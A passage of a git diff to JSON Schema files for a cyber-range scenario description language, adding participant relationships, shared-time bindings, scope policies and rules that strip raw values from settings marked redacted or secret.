{ + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Target Action Refs", + "type": "array", + "uniqueItems": true + } + }, + "required": [ + "kind" + ], + "then": { + "properties": { + "kind": { + "enum": [ + "delegation", + "supervision" + ] + } + } + }, + "title": "ParticipantRelationship", + "type": "object" + }, + "ParticipantRelationshipKind": { + "description": "Portable relation meanings, independent of backend mechanisms.", + "enum": [ + "coordination", + "delegation", + "cooperation", + "competition", + "supervision" + ], + "title": "ParticipantRelationshipKind", + "type": "string" + }, "ParticipantResourceAccountingMode": { "enum": [ "windowed_counter", @@ -11277,29 +11840,115 @@ "kind", "ref" ], - "title": "ParticipantResourceOwner", + "title": "ParticipantResourceOwner", + "type": "object" + }, + "ParticipantResourceOwnerKind": { + "enum": [ + "participant", + "deployment_tenant", + "shared_service", + "fleet" + ], + "title": "ParticipantResourceOwnerKind", + "type": "string" + }, + "ParticipantResourceResetMode": { + "enum": [ + "episode", + "time_segment", + "run", + "reconciled" + ], + "title": "ParticipantResourceResetMode", + "type": "string" + }, + "ParticipantSharedTimeBinding": { + "additionalProperties": false, + "description": "Explicit shared-time binding; legacy descriptive references stay opaque.", + "properties": { + "clock_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Clock Ref", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Constraint Ref", + "type": "string" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Ref" + }, + "profile": { + "const": "participant-shared-time/v1", + "title": "Profile", + "type": "string" + } + }, + "required": [ + "profile", + "clock_ref", + "constraint_ref", + "event_point", + "evidence_mode" + ], + "title": "ParticipantSharedTimeBinding", "type": "object" }, - "ParticipantResourceOwnerKind": { - "enum": [ - "participant", - "deployment_tenant", - "shared_service", - "fleet" - ], - "title": "ParticipantResourceOwnerKind", - "type": "string" - }, - "ParticipantResourceResetMode": { - "enum": [ - "episode", - "time_segment", - "run", - "reconciled" - ], - "title": "ParticipantResourceResetMode", - "type": "string" - }, "ParticipantTemporalContract": { "additionalProperties": false, "description": "Typed SEM-213 temporal contract for a participant action.", @@ -11403,6 +12052,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time_binding": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantSharedTimeBinding" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_id": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -12386,6 +13046,73 @@ }, "Relationship": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "participant": { + "type": "null" + } + } + }, + "if": { + "properties": { + "type": { + "const": "participant" + } + }, + "required": [ + "type" + ] + }, + "then": { + "properties": { + "carrier_placement": { + "type": "null" + }, + "database_access": { + "type": "null" + }, + "domain_controller": { + "type": "null" + }, + "domain_join": { + "type": "null" + }, + "forest_trust": { + "type": "null" + }, + "forwarding_edge": { + "type": "null" + }, + "identity_federation": { + "type": "null" + }, + "mail_access": { + "type": "null" + }, + "participant": { + "type": "object" + }, + "properties": { + "maxProperties": 0 + }, + "proxy_upstream": { + "type": "null" + }, + "service_integration": { + "type": "null" + }, + "shared_service": { + "type": "null" + } + }, + "required": [ + "participant" + ] + } + } + ], "description": "A typed directed edge between two named scenario elements.\n\nSource and target can reference any named element in the scenario:\nnodes, features, accounts, entities, or infrastructure entries.\nThe validator checks that both endpoints resolve.\n\nThe ``properties`` dict carries type-specific metadata (e.g.,\n``trust_type: parent-child`` for AD trusts, ``protocol: SAML``\nfor federation). It's a flat dict rather than typed sub-models\nbecause relationship properties vary widely and we don't want\nto gate expressiveness on pre-modeling every variant.\n\n``database_access`` and ``mail_access`` are typed exceptions where\nprotocol/auth details need structural validation rather than prose.\n``forwarding_edge``, ``service_integration``, and ``proxy_upstream`` are\nthe same kind of typed exception for, respectively, a forwarding /\nintel-sync agent's inter-node trust edge (SCN-010 \u00a75.7), a platform\nconsumer-to-engine service integration, and a reverse-proxy/gateway\nroute-to-origin upstream hop. Each keeps protocol/auth/topology facts\nstructurally validated and cross-referable rather than buried in prose.", "properties": { "carrier_placement": { @@ -12484,6 +13211,17 @@ ], "default": null }, + "participant": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantRelationship" + }, + { + "type": "null" + } + ], + "default": null + }, "properties": { "additionalProperties": { "not": { @@ -13158,7 +13896,8 @@ "forest_trusts", "directory_federates_to", "placed_on_carrier", - "uses_shared_service" + "uses_shared_service", + "participant" ], "title": "RelationshipType", "type": "string" @@ -13978,6 +14717,25 @@ "RuntimeApplicationExposedField": { "additionalProperties": false, "description": "A route-visible fixture secret or intentionally exposed diagnostic field.\n\nThe sensitivity vocabulary is shared with the rest of the runtime surface.\nA ``redacted`` or ``operator_secret`` field must omit its raw ``value``.\nOther values, including credential-shaped fixture facts, are scenario\ncontent needed for range realization and participant observation.", + "if": { + "properties": { + "sensitivity": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "sensitivity" + ] + }, "properties": { "description": { "default": "", @@ -14022,6 +14780,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeApplicationExposedField", "type": "object" }, @@ -14269,13 +15040,18 @@ }, "methods": { "items": { + "maxLength": 128, + "minLength": 1, "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^[!#$%&'*+\\-.^_`|~0-9A-Za-z]{1,128}$(?![\\s\\S])", "type": "string" }, + "minItems": 1, "title": "Methods", - "type": "array" + "type": "array", + "uniqueItems": true }, "name": { "default": "", @@ -16858,6 +17634,25 @@ "RuntimeDatastoreSetting": { "additionalProperties": false, "description": "An observed datastore runtime setting with scope, provenance, and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\nnames that look credential-bearing remain scenario content unless the\nauthor marks the value withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -16951,6 +17746,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeDatastoreSetting", "type": "object" }, @@ -17521,6 +18329,25 @@ } ], "description": "Required runtime environment variable with provenance and sensitivity.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -17600,6 +18427,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeEnvironmentVariable", "type": "object" }, @@ -18406,6 +19246,16 @@ "RuntimeFilesystemEntry": { "additionalProperties": false, "description": "A filesystem entry observed inside a runtime node or container asset.", + "if": { + "properties": { + "presence": { + "pattern": "^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$" + } + }, + "required": [ + "presence" + ] + }, "properties": { "content_digest": { "default": "", @@ -18600,6 +19450,58 @@ "required": [ "path" ], + "then": { + "properties": { + "content_digest": { + "enum": [ + "", + null + ] + }, + "digest_algorithm": { + "enum": [ + "", + null + ] + }, + "gid": { + "enum": [ + "", + null + ] + }, + "mode": { + "enum": [ + "", + null + ] + }, + "owner_group": { + "enum": [ + "", + null + ] + }, + "owner_user": { + "enum": [ + "", + null + ] + }, + "size": { + "enum": [ + "", + null + ] + }, + "uid": { + "enum": [ + "", + null + ] + } + } + }, "title": "RuntimeFilesystemEntry", "type": "object" }, @@ -19050,6 +19952,25 @@ "RuntimeForwardingSetting": { "additionalProperties": false, "description": "An observed forwarding-agent runtime setting with provenance and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -19127,6 +20048,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeForwardingSetting", "type": "object" }, @@ -19441,6 +20375,25 @@ "RuntimeIdentityAttribute": { "additionalProperties": false, "description": "Observed identity attribute or bounded setting.\n\nSecret-bearing names must not carry raw values. This keeps directory\npasswords, Kerberos keys, keytabs, tokens, and client secrets out of\nfixtures, diagnostics, schemas, and generated runtime artifacts.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -19519,6 +20472,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "values": { + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ] + } + }, "title": "RuntimeIdentityAttribute", "type": "object" }, @@ -20153,6 +21119,24 @@ "RuntimeInitProcess": { "additionalProperties": false, "description": "Required backend-injected container init / PID-1 reaper configuration.\n\nModels authored container runtime intent \u2014 for example Docker Compose\n``init: true`` causing PID 1 to be ``/sbin/docker-init`` (tini). This is\ndistinct from the observed PID-1 process recorded in\n``runtime.processes``; see ADR-027.", + "if": { + "properties": { + "argv_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "argv_redacted" + ] + }, "properties": { "argv": { "items": { @@ -20240,6 +21224,13 @@ "title": "Reaps Children" } }, + "then": { + "properties": { + "argv": { + "maxItems": 0 + } + } + }, "title": "RuntimeInitProcess", "type": "object" }, @@ -21676,15 +22667,34 @@ "type": "string" } }, - "required": [ - "mail_service_id" - ], - "title": "RuntimeMailService", - "type": "object" - }, - "RuntimeMailSetting": { - "additionalProperties": false, - "description": "A mail-service runtime setting with source/provenance and redaction.", + "required": [ + "mail_service_id" + ], + "title": "RuntimeMailService", + "type": "object" + }, + "RuntimeMailSetting": { + "additionalProperties": false, + "description": "A mail-service runtime setting with source/provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -21778,6 +22788,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeMailSetting", "type": "object" }, @@ -24605,6 +25628,25 @@ "RuntimePlatformApplicationSetting": { "additionalProperties": false, "description": "An observed platform setting with provenance and sensitivity.\n\nExplicitly redacted/operator-secret settings must omit their raw ``value``.\nA setting name does not by itself redact SDL scenario content.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -24690,6 +25732,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimePlatformApplicationSetting", "type": "object" }, @@ -25080,7 +26135,36 @@ "title": "Soft" }, "subject": { - "$ref": "#/$defs/RuntimeProcessIdentity" + "$ref": "#/$defs/RuntimeProcessIdentity", + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxItems": 0 + } + } + } + } + ] } }, "required": [ @@ -26905,6 +27989,25 @@ "RuntimeSecurityMonitoringSetting": { "additionalProperties": false, "description": "A bounded manager setting with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -26998,6 +28101,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeSecurityMonitoringSetting", "type": "object" }, @@ -27031,7 +28147,7 @@ }, "RuntimeServiceListener": { "additionalProperties": false, - "description": "Observed generic runtime listener attached to a node.", + "description": "Possibly partial runtime listener description attached to a node.\n\nOnly ``service_listener_id`` is universally required. Supplied facts are\nvalidated for bounds and contradictions, but missing endpoint facts are\nnot fabricated or rejected at this descriptive boundary.", "properties": { "address": { "default": "", @@ -28006,6 +29122,24 @@ "RuntimeSudoRule": { "additionalProperties": false, "description": "An observed sudo/sudoers privilege grant.\n\nThe portable model is the structured principal/run-as/command scope.\n``raw_entry`` may carry the original sudoers line only as optional\ndescriptive evidence; ``command_redacted`` marks a rule whose command\nscope was withheld because it carried sensitive arguments.", + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, "properties": { "command_redacted": { "anyOf": [ @@ -28118,6 +29252,13 @@ "required": [ "principal" ], + "then": { + "properties": { + "commands": { + "maxItems": 0 + } + } + }, "title": "RuntimeSudoRule", "type": "object" }, @@ -28290,6 +29431,80 @@ }, "ServiceManagerUnit": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "manager_kind": { + "pattern": "^[sS][yY][sS][tT][eE][mM][dD]$" + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "unit_name": { + "pattern": "^[^\\s]+\\.[^\\s]+$" + } + } + } + }, + { + "if": { + "properties": { + "manager_kind": { + "anyOf": [ + { + "pattern": "^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$" + }, + { + "pattern": "^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$" + } + ] + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "active_state": { + "const": "unknown" + }, + "enabled_state": { + "const": "unknown" + }, + "exec_start": { + "const": null + }, + "exit_code": { + "const": null + }, + "load_state": { + "const": "unknown" + }, + "main_pid": { + "const": null + }, + "result": { + "const": "unknown" + }, + "status_text": { + "const": "" + }, + "sub_state": { + "const": "" + }, + "unit_type": { + "const": "other" + } + } + } + } + ], "description": "Observed service-manager unit state on a realized range node.\n\nEach record carries a stable RAES ``unit_id`` (the reference target), the\nnative ``unit_name`` (e.g. ``sshd.service``), the participant-observable\nlifecycle facts captured by ``systemctl`` (load/active/sub/enabled/result),\nand bounded optional evidence: the unit-file path, an ``ExecStart``\ndescriptor with explicit redaction discipline, the main PID when present,\nand an optional same-node ``Node.services[]`` ref.\n\nThis is observed WHAT-IS state, not provisioning intent or authored\nbehavior; see ADR-035 for the boundary against ``Node.services``,\n``conditions``, ``runtime.processes``, ``runtime.container.init_process``,\n``runtime.operational_policy``, and ``runtime.ssh_servers``.", "properties": { "active_state": { @@ -28467,9 +29682,11 @@ "type": "string" }, "unit_name": { + "default": "", "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^\\S+$", "title": "Unit Name", "type": "string" }, @@ -28491,8 +29708,7 @@ } }, "required": [ - "unit_id", - "unit_name" + "unit_id" ], "title": "ServiceManagerUnit", "type": "object" @@ -28848,6 +30064,69 @@ }, "ServiceUnitExecStart": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed service-manager ``ExecStart`` configuration.\n\nMirrors the SSH ``ForcedCommand`` redaction discipline (ADR-031): the\n``command_kind`` discriminates how ``command`` is interpreted, and\n``command_redacted=True`` forces ``command`` empty and\n``command_kind=redacted``. The model never carries raw secret-bearing\nargv -- if the underlying ``ExecStart=`` includes credentials, tokens, or\noperator-only arguments, the surface stores only the redacted shape.", "properties": { "command": { @@ -29056,6 +30335,69 @@ }, "SshForcedCommand": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed sshd ``ForceCommand`` configuration.\n\nThe ``command_kind`` discriminates how ``command`` is interpreted:\n\n- ``absolute_path``: a concrete executable path (or ``${var}``) starting\n with ``/``. Validated via ``absolute_path_or_var``.\n- ``internal_sftp``: the sshd-internal sftp subsystem; ``command`` must\n equal the literal ``\"internal-sftp\"``.\n- ``redacted``: the underlying command is withheld from the SDL model\n because it carries secrets, session identifiers, or operator-only\n arguments; ``command`` must be empty and ``command_redacted`` must\n be true.", "properties": { "command": { @@ -30835,6 +32177,18 @@ ], "level": "error", "validator": "raes.validator.SemanticValidator._verify_service_materialization" + }, + { + "description": "Explicit temporal bindings must resolve the action's shared clock, constraint and selected event. Dwell conditions require authorized observation boundaries and observable support and evidence. Numeric parameters are revalidated after binding.", + "id": "participant-shared-time-source-bindings", + "inputs": [ + { + "contract_id": "instantiated-scenario-snapshot-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes.semantics.participant_temporal_bindings.participant_temporal_binding_errors" } ], "x-raes-semantic-profile": { diff --git a/contracts/schemas/sdl/instantiated-scenario-v1.json b/contracts/schemas/sdl/instantiated-scenario-v1.json index 9bfc8a1c2..ca1b11873 100644 --- a/contracts/schemas/sdl/instantiated-scenario-v1.json +++ b/contracts/schemas/sdl/instantiated-scenario-v1.json @@ -434,7 +434,7 @@ }, "Agent": { "additionalProperties": false, - "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``entity`` links to the entities section (team/role) and supplies\n identity and role per ADR-020\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", + "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``affiliations`` links to entities without conferring identity or authority\n- ``role`` explicitly selects an exercise role, overriding inherited role\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", "properties": { "actions": { "items": { @@ -446,6 +446,16 @@ "title": "Actions", "type": "array" }, + "affiliations": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Affiliations", + "type": "array" + }, "allowed_subnets": { "items": { "not": { @@ -474,14 +484,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "initial_knowledge": { "anyOf": [ { @@ -530,6 +532,18 @@ "title": "Operating Scope", "type": "array" }, + "role": { + "anyOf": [ + { + "$ref": "#/$defs/ExerciseRole" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Role" + }, "starting_accounts": { "items": { "not": { @@ -1258,6 +1272,75 @@ "title": "AssetValueLevel", "type": "string" }, + "AugmentationScopePolicy": { + "additionalProperties": false, + "description": "Authors opt into restrictions; omission imposes no new authoring burden.", + "properties": { + "default": { + "default": "open", + "enum": [ + "open", + "closed" + ], + "title": "Default", + "type": "string" + }, + "scopes": { + "default": [], + "items": { + "$ref": "#/$defs/AugmentationScopeRule" + }, + "maxItems": 256, + "title": "Scopes", + "type": "array" + } + }, + "title": "AugmentationScopePolicy", + "type": "object" + }, + "AugmentationScopeRule": { + "additionalProperties": false, + "description": "One explicit node or concern permission, using a semantic address.", + "properties": { + "namespace": { + "default": [], + "items": { + "maxLength": 64, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$", + "type": "string" + }, + "maxItems": 31, + "title": "Namespace", + "type": "array" + }, + "permission": { + "enum": [ + "open", + "closed" + ], + "title": "Permission", + "type": "string" + }, + "scope": { + "maxLength": 4096, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope", + "permission" + ], + "title": "AugmentationScopeRule", + "type": "object" + }, "AuthorRealizationPosture": { "description": "Authored default posture, distinct from capability support modes.", "enum": [ @@ -2435,6 +2518,25 @@ "DatabaseSetting": { "additionalProperties": false, "description": "An observed database runtime setting with provenance and sensitivity.\n\nExplicit ``redacted``/``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -2495,6 +2597,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DatabaseSetting", "type": "object" }, @@ -3183,6 +3298,25 @@ "DnsRuntimeSetting": { "additionalProperties": false, "description": "Bounded DNS runtime setting with provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -3243,6 +3377,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DnsRuntimeSetting", "type": "object" }, @@ -5591,6 +5738,25 @@ "ImageBuildArg": { "additionalProperties": false, "description": "An observed build argument with value-sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": 